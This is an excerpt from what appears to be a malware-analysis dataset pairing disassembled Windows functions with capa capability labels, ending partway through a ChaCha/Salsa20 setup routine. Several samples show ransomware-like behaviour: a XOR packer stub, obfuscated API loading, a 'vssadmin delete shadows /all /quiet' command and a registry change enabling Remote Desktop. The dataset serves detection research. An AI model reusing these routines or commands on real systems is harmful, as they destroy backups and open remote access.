joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005c21a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005c2b7
push ebx
push esi
call fcn.1005c1e3
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1005afdf
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1005c264
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005c2b6
push edi
push eax
call fcn.10058ee1
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1005c284
call fcn.1005648e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005c2b5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1005afdf
add esp, 0x20
test eax, eax
jne 0x1005c2a3
push edi
call fcn.1005648e
jmp 0x1005c2ab
push ebx
call fcn.1005648e
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1005e968
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10053cc4
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005e9d7
cmp esi, dword [ebp - 4]
je 0x1005e9d2
cmp dword [ebp + 0xc], 0
je 0x1005e9d2
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1005e9af
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1005e4ba
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1005e9d9
xor eax, eax
inc eax
jmp 0x1005e9d9
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x1005ea3e
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100650c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.10053cc4
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10053cc4
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1005eab5
cmp word [ecx], dx
je 0x1005eab5
mov eax, dword [0x100c1994]
push edi
dec eax
push eax
push 0x100c1880
call fcn.1005e9dd
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x1005eb28
cmp word [eax], dx
je 0x1005eb28
mov eax, dword [edi]
test eax, eax
je 0x1005ead9
cmp word [eax], dx
je 0x1005ead9
lea eax, [ebp - 0x10]
push eax
call fcn.1005e3c0
jmp 0x1005eae2
lea eax, [ebp - 0x10]
push eax
call fcn.1005e45b
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1005eb52
mov eax, dword [0x100c187c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x100c1570
call fcn.1005e9dd
add esp, 0xc
test al, al
je 0x1005eb52
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x1005eb1d
cmp word [eax], di
je 0x1005eb1d
lea eax, [ebp - 0x10]
push eax
call fcn.1005e3c0
pop ecx
jmp 0x1005eb54
lea eax, [ebp - 0x10]
push eax
call fcn.1005e45b
jmp 0x1005eb1a
mov eax, dword [edi]
test eax, eax
je 0x1005eb3f
cmp word [eax], dx
je 0x1005eb3f
lea eax, [ebp - 0x10]
push eax
call fcn.1005e375
pop ecx
jmp 0x1005eb52
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1005ec1d
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1005e862
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1005ec1d
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1005ec1d
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1005ec1d
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1005ebaa
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1005708d
test ebx, ebx
je 0x1005ec18
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1005708d
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005ec1d
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005ec1d
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1006095a
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1005ec1f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004a67b
leave
ret
Function at 0x10060eb2
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.10060e2d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10061021
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10061021
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10060fd6
jg 0x10060f0e
test eax, eax
je 0x10060fcc
push 1
push 0x1000
call fcn.10056a16
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10060f31
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10060fc3
push 0x8000
push ebx
call fcn.10060d5e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10060f5a
jg 0x10060f55
cmp ecx, 0x1000
jb 0x10060f5a
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10056272
add esp, 0x10
cmp eax, 0xffffffff
je 0x10060f9f
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10060f55
jl 0x10060f86
test ecx, ecx
jne 0x10060f47
push dword [ebp - 0xc]
push ebx
call fcn.10060d5e
push esi
call fcn.1005648e
add esp, 0xc
xor ebx, ebx
jmp 0x1006102f
cmp byte [edi + 0x24], 0
je 0x10060fb6
cmp dword [edi + 0x20], 5
jne 0x10060fb6
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10060fc1
mov ebx, dword [edi + 0x18]
jmp 0x10060fc3
xor ebx, ebx
push esi
call fcn.1005648e
pop ecx
jmp 0x1006102f
test ecx, ecx
jg 0x10060f98
jl 0x10060fd6
test eax, eax
jae 0x10060f98
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10058b7a
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10060ff6
cmp byte [edi + 0x1c], 0
je 0x10060f98
jmp 0x10061027
push ebx
call fcn.1005c807
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10060f98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1006102f
cmp byte [edi + 0x1c], 0
je 0x1006102c
mov ebx, dword [edi + 0x18]
jmp 0x1006102f
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10058b7a
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10062300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1006232d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1006232d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5ed94c8f
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1a4622ae
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x403e59
pop dword [ebp - 0x24]
mov eax, 0x9a40eed4
add eax, 0x65ff4f85
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xe45c166a
sub dword [ebp - 0x34], 0x9609d11f
mov dword [ebp - 0x30], 0xbf4bc9c7
add dword [ebp - 0x30], 0x72e7827e
mov dword [ebp - 0x2c], 0xd2e3f248
add dword [ebp - 0x2c], 0x796851e6
mov dword [ebp - 0x28], 0x3a4c97e0
add dword [ebp - 0x28], 0xc5b36820
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xf4440171
add dword [ebp - 0x34], 0x802e67e5
mov dword [ebp - 0x30], 0x1f6d6e8c
add dword [ebp - 0x30], 0x21fef2e9
mov dword [ebp - 0x2c], 0x3ddf7359
sub dword [ebp - 0x2c], 0xda7006ed
mov dword [ebp - 0x28], 0x5a655b9
add dword [ebp - 0x28], 0xfa59aa47
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1e885ee6
sub eax, 0x1e47ee3e
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x38f5d
push 0
call eax
mov ecx, 0x50da
mov edi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x24]
mov esi, 0xbd0c596f
add esi, 0xb141903a
sub dword [ebp - 4], 0xfd7cbd6c
mov ebx, dword [edx]
sub dword [ebp - 0xc], edx
sub ebx, esi
xor dword [ebp - 0x10], ebx
mov dword [edi], ebx
add edi, 0x27cc17e9
add edi, 0xd833e81b
add edx, 4
loop 0x403f6a
add eax, 0x1363b
mov ebx, eax
add eax, 0xf58e011f
add eax, 0xa71fee6
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x40b330
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 0xc]
mov eax, ecx
push ebx
push esi
push edi
cmp dword [edx + 0x14], 0x10
mov edi, edx
mov dword [ebp - 4], eax
jb 0x40b34b
mov edi, dword [edx]
mov ebx, dword [edx + 0x10]
xor ecx, ecx
mov esi, 0x811c9dc5
test ebx, ebx
je 0x40b374
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, ebx
jb 0x40b360
mov eax, dword [ebp - 4]
push esi
push edx
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.0040ac20
pop edi
pop esi
pop ebx
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 8]
test ecx, ecx
jne 0x40b394
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 4]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret 8

Function at 0x40b6a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a23f0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4d1a04]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
push 8
mov dword [ebx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0047150d
mov esi, eax
add esp, 4
test esi, esi
je 0x40b6f9
push 1
mov dword [ebp - 4], 0
call fcn.0045aee5
add esp, 4
mov dword [esi + 4], eax
jmp 0x40b6fb
xor esi, esi
mov ecx, ebx
mov dword [ebx + 0x34], esi
call fcn.00411b00
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
lea esi, [eax + 8]
lea ebx, [eax + 4]
mov dword [eax + 0x2c], edx
mov dword [eax + 0xc], ebx
lea edi, [eax + 0x14]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4c], 0
mov eax, dword [0x4d6724]
mov ecx, dword [0x4d6728]
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40dcc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x4d6684], 0
jne 0x40ddb7
push esi
push edi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x81]
call fcn.0040d4f0
mov esi, eax
mov edi, 4
lea edx, [esi + 4]
nop dword [eax + eax]
movsx cx, byte [esi]
lea edx, [edx + 0xc]
xor word [edx - 0xe], cx
movsx eax, byte [esi]
xor word [edx - 0xc], ax
movsx eax, byte [esi]
xor word [edx - 0xa], ax
movsx eax, byte [esi]
xor word [edx - 8], ax
movsx eax, byte [esi]
xor word [edx - 6], ax
movsx eax, byte [esi]
xor word [edx - 4], ax
sub edi, 1
jne 0x40dd00
xor eax, eax
mov word [esi + 0x32], ax
lea eax, [esi + 2]
push eax
push edi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
lea ecx, [ebp - 0x81]
test eax, eax
jne 0x40ddc5
lea eax, [ebp - 0x80]
push eax
call fcn.0040d590
mov esi, eax
mov edi, 4
lea edx, [esi + 4]
nop word [eax + eax]
movsx cx, byte [esi]
lea edx, [edx + 0xc]
xor word [edx - 0xe], cx
movsx eax, byte [esi]
xor word [edx - 0xc], ax
movsx eax, byte [esi]
xor word [edx - 0xa], ax
movsx eax, byte [esi]
xor word [edx - 8], ax
movsx eax, byte [esi]
xor word [edx - 6], ax
movsx eax, byte [esi]
xor word [edx - 4], ax
sub edi, 1
jne 0x40dd70
xor eax, eax
mov word [esi + 0x32], ax
lea eax, [esi + 2]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x18]
push eax
call fcn.0040d560
mov esi, eax
mov edi, 3
lea ecx, [esi + 2]
mov dl, byte [esi]
lea ecx, [ecx + 5]
xor byte [ecx - 6], dl
movzx eax, byte [esi]
xor byte [ecx - 5], al
movzx eax, byte [esi]
xor byte [ecx - 4], al
movzx eax, byte [esi]
xor byte [ecx - 3], al
movzx eax, byte [esi]
xor byte [ecx - 2], al
sub edi, 1
jne 0x40ddd8
lea eax, [esi + 1]
mov byte [esi + 0x10], 0
push eax
call fcn.004161e0
add esp, 4
push edi
call fcn.0048324e
int3
Function at 0x410030
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2ae5
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 4], 0
push str..pmnqvv85c
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
call fcn.0040a600
mov byte [ebp - 4], 1
mov al, 0x45
mov dword [ebp - 0x2c], 0x190045
xor ecx, ecx
mov dword [ebp - 0x28], 0x200001
mov dword [ebp - 0x24], 0x240023
mov dword [ebp - 0x20], 0x290030
mov dword [ebp - 0x1c], 0xc0031
mov dword [ebp - 0x18], 0x2a0026
mov dword [ebp - 0x14], 0x2b
nop dword [eax]
cbw
xor word [ebp + ecx*2 - 0x2a], ax
inc ecx
cmp ecx, 0xc
jae 0x4100d2
mov al, byte [ebp - 0x2c]
jmp 0x4100c0
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x2a]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.0040a2b0
mov ecx, dword [ebp - 0x48]
add esp, 0xc
cmp ecx, 8
jb 0x410126
mov edx, dword [ebp - 0x5c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41011c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41023e
push ecx
push edx
call fcn.0047153d
add esp, 8
cmp dword [ebp - 0x30], 8
lea ecx, [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push 0
push 0x103
push 0
push 0
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4101a5
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp + 8]
mov eax, dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
add eax, eax
push eax
push ecx
push 1
push 0
lea eax, [ebp - 0x5e]
mov dword [ebp - 0x60], 0x45
push eax
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push 0
push 0
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
push 0
push 0x3000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x4101db
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4101d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410243
push ecx
push edx
call fcn.0047153d
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
cmp ecx, 8
jb 0x410225
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41021b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410243
push ecx
push edx
call fcn.0047153d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret
call fcn.0047ce9f
call fcn.0047ce9f
int3
Function at 0x410250
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [0x4d668a], 0
jne 0x4102a5
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4102a5
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x415fc0
Capabilities:
Delete volume shadow copies
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 1
call fcn.00483ba7
cmp dword [eax], esi
jbe 0x416152
push ebx
push edi
call fcn.00483bad
lea edi, [esi*4]
mov eax, dword [eax]
mov eax, dword [edi + eax]
cmp byte [eax], 0x2d
jne 0x416142
call fcn.00483ba7
lea ebx, [esi + 1]
cmp dword [eax], ebx
jbe 0x4160b7
call fcn.00483bad
mov eax, dword [eax]
mov eax, dword [edi + eax + 4]
cmp byte [eax], 0x2d
je 0x4160b7
call fcn.00483bad
xorps xmm0, xmm0
mov eax, dword [eax]
mov edx, dword [edi + eax]
mov ecx, edx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416047
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1c]
call fcn.0040a560
lea eax, [ebp - 0x1c]
mov ecx, 0x4d66f4
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0040af80
mov esi, dword [eax]
call fcn.00483bad
mov eax, dword [eax]
mov eax, dword [eax + edi + 4]
mov dword [esi + 0x20], eax
mov ecx, dword [ebp - 8]
cmp ecx, 0x10
jb 0x4160b0
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4160a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4161c7
push ecx
push edx
call fcn.0047153d
add esp, 8
mov esi, ebx
jmp 0x416142
call fcn.00483bad
xorps xmm0, xmm0
mov eax, dword [eax]
mov edx, dword [edi + eax]
mov eax, edx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea edi, [eax + 1]
nop dword [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4160e0
sub eax, edi
lea ecx, [ebp - 0x1c]
push eax
push edx
call fcn.0040a560
lea eax, [ebp - 0x1c]
mov ecx, 0x4d66f4
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040af80
mov eax, dword [eax]
mov dword [eax + 0x20], 0x4ab4fe
mov ecx, dword [ebp - 8]
cmp ecx, 0x10
jb 0x416142
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416138
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4161c7
push ecx
push edx
call fcn.0047153d
add esp, 8
inc esi
call fcn.00483ba7
cmp esi, dword [eax]
jb 0x415fe5
pop edi
pop ebx
push str.C:WindowsSysNative_vssadmin.exe_delete_shadows__all__quiet
call fcn.00483cce
add esp, 4
call fcn.004102b0
cmp byte [0x4d668a], 0
pop esi
jne 0x4161b5
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 0
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4161b5
push 4
lea eax, [ebp - 0x28]
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret 0x10
call fcn.0047ce9f
int3
Function at 0x4180e0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [edi], 0x61707865
mov dword [edi + 4], 0x3320646e
mov dword [edi + 8], 0x79622d32
mov dword [edi + 0xc], 0x6b206574
movzx edx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl edx, 8
or edx, eax
movzx eax, byte [esi + 1]
shl edx, 8
or edx, eax
movzx eax, byte [esi]
shl edx, 8
or edx, eax
mov dword [edi + 0x10], edx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x14], ecx
movzx ecx, byte [esi + 0xb]
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x18], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x1c], ecx
movzx ecx, byte [esi + 0x13]
movzx eax, byte [esi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x20], ecx
movzx ecx, byte [esi + 0x17]
movzx eax, byte [esi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x24], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x18]
mov edx, dword [ebp + 0xc]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x28], ecx
movzx ecx, byte [esi + 0x1f]
movzx eax, byte [esi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x30], 0
